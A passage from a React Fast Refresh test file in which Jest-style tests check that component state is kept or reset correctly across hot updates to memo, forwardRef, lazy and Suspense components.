container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('blue');\n    }\n  });\n\n  it('can preserve state for memo with custom comparison', async () => {\n    if (__DEV__) {\n      const OuterV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n\n        const Outer = React.memo(Hello, () => true);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const OuterV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n\n        const Outer = React.memo(Hello, () => true);\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => OuterV1);\n      await render(() => OuterV2);\n      await render(() => OuterV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Finally, a render with incompatible type should reset it.\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        // Note: no wrapper this time.\n        return Hello;\n      });\n\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('blue');\n    }\n  });\n\n  it('can update simple memo function in isolation', async () => {\n    if (__DEV__) {\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        return React.memo(Hello);\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update of just the rendering function.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        // Not updating the wrapper.\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n    }\n  });\n\n  it('can preserve state for memo(forwardRef)', async () => {\n    if (__DEV__) {\n      const OuterV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.memo(React.forwardRef(() => <Hello />));\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const OuterV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.memo(React.forwardRef(() => <Hello />));\n        $RefreshReg$(Outer, 'Outer');\n        return Outer;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => OuterV1);\n      await render(() => OuterV2);\n      await render(() => OuterV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Finally, a render with incompatible type should reset it.\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        // Note: no wrapper this time.\n        return Hello;\n      });\n\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('blue');\n    }\n  });\n\n  it('can preserve state for lazy after resolution', async () => {\n    if (__DEV__) {\n      let resolve;\n      const AppV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.lazy(\n          () =>\n            new Promise(_resolve => {\n              resolve = () => _resolve({default: Hello});\n            }),\n        );\n        $RefreshReg$(Outer, 'Outer');\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Outer />\n            </React.Suspense>\n          );\n        }\n        $RefreshReg$(App, 'App');\n\n        return App;\n      });\n\n      expect(container.textContent).toBe('Loading');\n      await act(() => {\n        resolve();\n      });\n      expect(container.textContent).toBe('0');\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const AppV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.lazy(\n          () =>\n            new Promise(_resolve => {\n              resolve = () => _resolve({default: Hello});\n            }),\n        );\n        $RefreshReg$(Outer, 'Outer');\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Outer />\n            </React.Suspense>\n          );\n        }\n        $RefreshReg$(App, 'App');\n\n        return App;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Bump the state again.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => AppV1);\n      await render(() => AppV2);\n      await render(() => AppV1);\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('2');\n      expect(el.style.color).toBe('red');\n\n      // Finally, a render with incompatible type should reset it.\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        // Note: no lazy wrapper this time.\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Hello />\n            </React.Suspense>\n          );\n        }\n        $RefreshReg$(App, 'App');\n\n        return App;\n      });\n\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('blue');\n    }\n  });\n\n  it('can patch lazy before resolution', async () => {\n    if (__DEV__) {\n      let resolve;\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.lazy(\n          () =>\n            new Promise(_resolve => {\n              resolve = () => _resolve({default: Hello});\n            }),\n        );\n        $RefreshReg$(Outer, 'Outer');\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Outer />\n            </React.Suspense>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.textContent).toBe('Loading');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      await act(() => {\n        resolve();\n      });\n\n      // Expect different color on initial mount.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('red');\n\n      // Bump state.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Test another reload.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('orange');\n    }\n  });\n\n  it('can patch lazy(forwardRef) before resolution', async () => {\n    if (__DEV__) {\n      let resolve;\n      await render(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.forwardRef(renderHello);\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.lazy(\n          () =>\n            new Promise(_resolve => {\n              resolve = () => _resolve({default: Hello});\n            }),\n        );\n        $RefreshReg$(Outer, 'Outer');\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Outer />\n            </React.Suspense>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.textContent).toBe('Loading');\n\n      // Perform a hot update.\n      await patch(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.forwardRef(renderHello);\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      await act(() => {\n        resolve();\n      });\n\n      // Expect different color on initial mount.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('red');\n\n      // Bump state.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Test another reload.\n      await patch(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.forwardRef(renderHello);\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('orange');\n    }\n  });\n\n  it('can patch lazy(memo) before resolution', async () => {\n    if (__DEV__) {\n      let resolve;\n      await render(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.memo(renderHello);\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.lazy(\n          () =>\n            new Promise(_resolve => {\n              resolve = () => _resolve({default: Hello});\n            }),\n        );\n        $RefreshReg$(Outer, 'Outer');\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Outer />\n            </React.Suspense>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.textContent).toBe('Loading');\n\n      // Perform a hot update.\n      await patch(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.memo(renderHello);\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      await act(() => {\n        resolve();\n      });\n\n      // Expect different color on initial mount.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('red');\n\n      // Bump state.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Test another reload.\n      await patch(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.memo(renderHello);\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('orange');\n    }\n  });\n\n  it('can patch lazy(memo(forwardRef)) before resolution', async () => {\n    if (__DEV__) {\n      let resolve;\n      await render(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.memo(React.forwardRef(renderHello));\n        $RefreshReg$(Hello, 'Hello');\n\n        const Outer = React.lazy(\n          () =>\n            new Promise(_resolve => {\n              resolve = () => _resolve({default: Hello});\n            }),\n        );\n        $RefreshReg$(Outer, 'Outer');\n\n        function App() {\n          return (\n            <React.Suspense fallback={<p>Loading</p>}>\n              <Outer />\n            </React.Suspense>\n          );\n        }\n\n        return App;\n      });\n\n      expect(container.textContent).toBe('Loading');\n\n      // Perform a hot update.\n      await patch(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.memo(React.forwardRef(renderHello));\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      await act(() => {\n        resolve();\n      });\n\n      // Expect different color on initial mount.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('red');\n\n      // Bump state.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Test another reload.\n      await patch(() => {\n        function renderHello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        const Hello = React.memo(React.forwardRef(renderHello));\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('orange');\n    }\n  });\n\n  it('only patches the fallback tree while suspended', async () => {\n    if (__DEV__) {\n      const AppV1 = await render(\n        () => {\n          function Hello({children}) {\n            const [val, setVal] = React.useState(0);\n            return (\n              <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n                {children} {val}\n              </p>\n            );\n          }\n          $RefreshReg$(Hello, 'Hello');\n\n          function Never() {\n            throw new Promise(resolve => {});\n          }\n\n          function App({shouldSuspend}) {\n            return (\n              <React.Suspense fallback={<Hello>Fallback</Hello>}>\n                <Hello>Content</Hello>\n                {shouldSuspend && <Never />}\n              </React.Suspense>\n            );\n          }\n\n          return App;\n        },\n        {shouldSuspend: false},\n      );\n\n      // We start with just the primary tree.\n      expect(container.childNodes.length).toBe(1);\n      const primaryChild = container.firstChild;\n      expect(primaryChild.textContent).toBe('Content 0');\n      expect(primaryChild.style.color).toBe('blue');\n      expect(primaryChild.style.display).toBe('');\n\n      // Bump primary content state.\n      await act(() => {\n        primaryChild.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.childNodes.length).toBe(1);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('blue');\n      expect(primaryChild.style.display).toBe('');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello({children}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'green'}} onClick={() => setVal(val + 1)}>\n              {children} {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.childNodes.length).toBe(1);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('green');\n      expect(primaryChild.style.display).toBe('');\n\n      // Now force the tree to suspend.\n      await render(() => AppV1, {shouldSuspend: true});\n\n      // Expect to see two trees, one of them is hidden.\n      expect(container.childNodes.length).toBe(2);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      const fallbackChild = container.childNodes[1];\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('green');\n      expect(primaryChild.style.display).toBe('none');\n      expect(fallbackChild.textContent).toBe('Fallback 0');\n      expect(fallbackChild.style.color).toBe('green');\n      expect(fallbackChild.style.display).toBe('');\n\n      // Bump fallback state.\n      await act(() => {\n        fallbackChild.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(container.childNodes.length).toBe(2);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      expect(container.childNodes[1]).toBe(fallbackChild);\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('green');\n      expect(primaryChild.style.display).toBe('none');\n      expect(fallbackChild.textContent).toBe('Fallback 1');\n      expect(fallbackChild.style.color).toBe('green');\n      expect(fallbackChild.style.display).toBe('');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello({children}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {children} {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      // Only update color in the visible child\n      expect(container.childNodes.length).toBe(2);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      expect(container.childNodes[1]).toBe(fallbackChild);\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('green');\n      expect(primaryChild.style.display).toBe('none');\n      expect(fallbackChild.textContent).toBe('Fallback 1');\n      expect(fallbackChild.style.color).toBe('red');\n      expect(fallbackChild.style.display).toBe('');\n\n      // Only primary tree should exist now:\n      await render(() => AppV1, {shouldSuspend: false});\n      expect(container.childNodes.length).toBe(1);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('red');\n      expect(primaryChild.style.display).toBe('');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello({children}) {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {children} {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(container.childNodes.length).toBe(1);\n      expect(container.childNodes[0]).toBe(primaryChild);\n      expect(primaryChild.textContent).toBe('Content 1');\n      expect(primaryChild.style.color).toBe('orange');\n      expect(primaryChild.style.display).toBe('');\n    }\n  });\n\n  it('does not re-render ancestor components unnecessarily during a hot update', async () => {\n    if (__DEV__) {\n      let appRenders = 0;\n\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        function App() {\n          appRenders++;\n          return <Hello />;\n        }\n        $RefreshReg$(App, 'App');\n        return App;\n      });\n\n      expect(appRenders).toBe(1);\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // No re-renders from the top.\n      expect(appRenders).toBe(1);\n\n      // Perform a hot update for Hello only.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Still no re-renders from the top.\n      expect(appRenders).toBe(1);\n\n      // Bump the state.\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('2');\n\n      // Still no re-renders from the top.\n      expect(appRenders).toBe(1);\n    }\n  });\n\n  it('batches re-renders during a hot update', async () => {\n    if (__DEV__) {\n      let helloRenders = 0;\n\n      await render(() => {\n        function Hello({children}) {\n          helloRenders++;\n          return <div>X{children}X</div>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n\n        function App() {\n          return (\n            <Hello>\n              <Hello>\n                <Hello />\n              </Hello>\n              <Hello>\n                <Hello />\n              </Hello>\n            </Hello>\n          );\n        }\n        return App;\n      });\n      expect(helloRenders).toBe(5);\n      expect(container.textContent).toBe('XXXXXXXXXX');\n      helloRenders = 0;\n\n      await patch(() => {\n        function Hello({children}) {\n          helloRenders++;\n          return <div>O{children}O</div>;\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(helloRenders).toBe(5);\n      expect(container.textContent).toBe('OOOOOOOOOO');\n    }\n  });\n\n  it('does not leak state between components', async () => {\n    if (__DEV__) {\n      const AppV1 = await render(\n        () => {\n          function Hello1() {\n            const [val, setVal] = React.useState(0);\n            return (\n              <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n                {val}\n              </p>\n            );\n          }\n          $RefreshReg$(Hello1, 'Hello1');\n          function Hello2() {\n            const [val, setVal] = React.useState(0);\n            return (\n              <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n                {val}\n              </p>\n            );\n          }\n          $RefreshReg$(Hello2, 'Hello2');\n          function App({cond}) {\n            return cond ? <Hello1 /> : <Hello2 />;\n          }\n          $RefreshReg$(App, 'App');\n          return App;\n        },\n        {cond: false},\n      );\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Switch the condition, flipping inner content.\n      // This should reset the state.\n      await render(() => AppV1, {cond: true});\n      const el2 = container.firstChild;\n      expect(el2).not.toBe(el);\n      expect(el2.textContent).toBe('0');\n      expect(el2.style.color).toBe('blue');\n\n      // Bump it again.\n      await act(() => {\n        el2.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el2.textContent).toBe('1');\n\n      // Perform a hot update for both inner components.\n      await patch(() => {\n        function Hello1() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello1, 'Hello1');\n        function Hello2() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello2, 'Hello2');\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el2);\n      expect(el2.textContent).toBe('1');\n      expect(el2.style.color).toBe('red');\n\n      // Flip the condition again.\n      await render(() => AppV1, {cond: false});\n      const el3 = container.firstChild;\n      expect(el3).not.toBe(el2);\n      expect(el3.textContent).toBe('0');\n      expect(el3.style.color).toBe('red');\n    }\n  });\n\n  it('can force remount by changing signature', async () => {\n    if (__DEV__) {\n      const HelloV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        // When this changes, we'll expect a remount:\n        $RefreshSig$(Hello, '1');\n        return Hello;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const HelloV2 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        // The signature hasn't changed since the last time:\n        $RefreshSig$(Hello, '1');\n        return Hello;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n\n      // Perform a hot update.\n      const HelloV3 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'yellow'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        // We're changing the signature now so it will remount:\n        $RefreshReg$(Hello, 'Hello');\n        $RefreshSig$(Hello, '2');\n        return Hello;\n      });\n\n      // Expect a remount.\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('yellow');\n\n      // Bump state again.\n      await act(() => {\n        newEl.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(newEl.textContent).toBe('1');\n      expect(newEl.style.color).toBe('yellow');\n\n      // Perform top-down renders with both fresh and stale types.\n      // Neither should change the state or color.\n      // They should always resolve to the latest version.\n      await render(() => HelloV1);\n      await render(() => HelloV2);\n      await render(() => HelloV3);\n      await render(() => HelloV2);\n      await render(() => HelloV1);\n      expect(container.firstChild).toBe(newEl);\n      expect(newEl.textContent).toBe('1');\n      expect(newEl.style.color).toBe('yellow');\n\n      // Verify we can patch again while preserving the signature.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'purple'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        // Same signature as last time.\n        $RefreshReg$(Hello, 'Hello');\n        $RefreshSig$(Hello, '2');\n        return Hello;\n      });\n\n      expect(container.firstChild).toBe(newEl);\n      expect(newEl.textContent).toBe('1');\n      expect(newEl.style.color).toBe('purple');\n\n      // Check removing the signature also causes a remount.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        // No signature this time.\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Expect a remount.\n      expect(container.firstChild).not.toBe(newEl);\n      const finalEl = container.firstChild;\n      expect(finalEl.textContent).toBe('0');\n      expect(finalEl.style.color).toBe('orange');\n    }\n  });\n\n  it('keeps a valid tree when forcing remount', async () => {\n    if (__DEV__) {\n      const HelloV1 = prepare(() => {\n        function Hello() {\n          return null;\n        }\n        $RefreshReg$(Hello, 'Hello');\n        $RefreshSig$(Hello, '1');\n        return Hello;\n      });\n\n      const Bailout = React.memo(({children}) => {\n        return children;\n      });\n\n      // Each of those renders three instances of HelloV1,\n      // but in different ways.\n      const trees = [\n        <div>\n          <HelloV1 />\n          <div>\n            <HelloV1 />\n            <Bailout>\n              <HelloV1 />\n            </Bailout>\n          </div>\n        </div>,\n        <div>\n          <div>\n            <HelloV1>\n              <HelloV1 />\n            </HelloV1>\n            <HelloV1 />\n          </div>\n        </div>,\n        <div>\n          <span />\n          <HelloV1 />\n          <HelloV1 />\n          <HelloV1 />\n        </div>,\n        <div>\n          <HelloV1 />\n          <span />\n          <HelloV1 />\n          <HelloV1 />\n        </div>,\n        <div>\n          <div>foo</div>\n          <HelloV1 />\n          <div>\n            <HelloV1 />\n          </div>\n          <HelloV1 />\n          <span />\n        </div>,\n        <div>\n          <HelloV1>\n            <span />\n            Hello\n            <span />\n          </HelloV1>\n          ,\n          <HelloV1>\n            <>\n              <HelloV1 />\n            </>\n          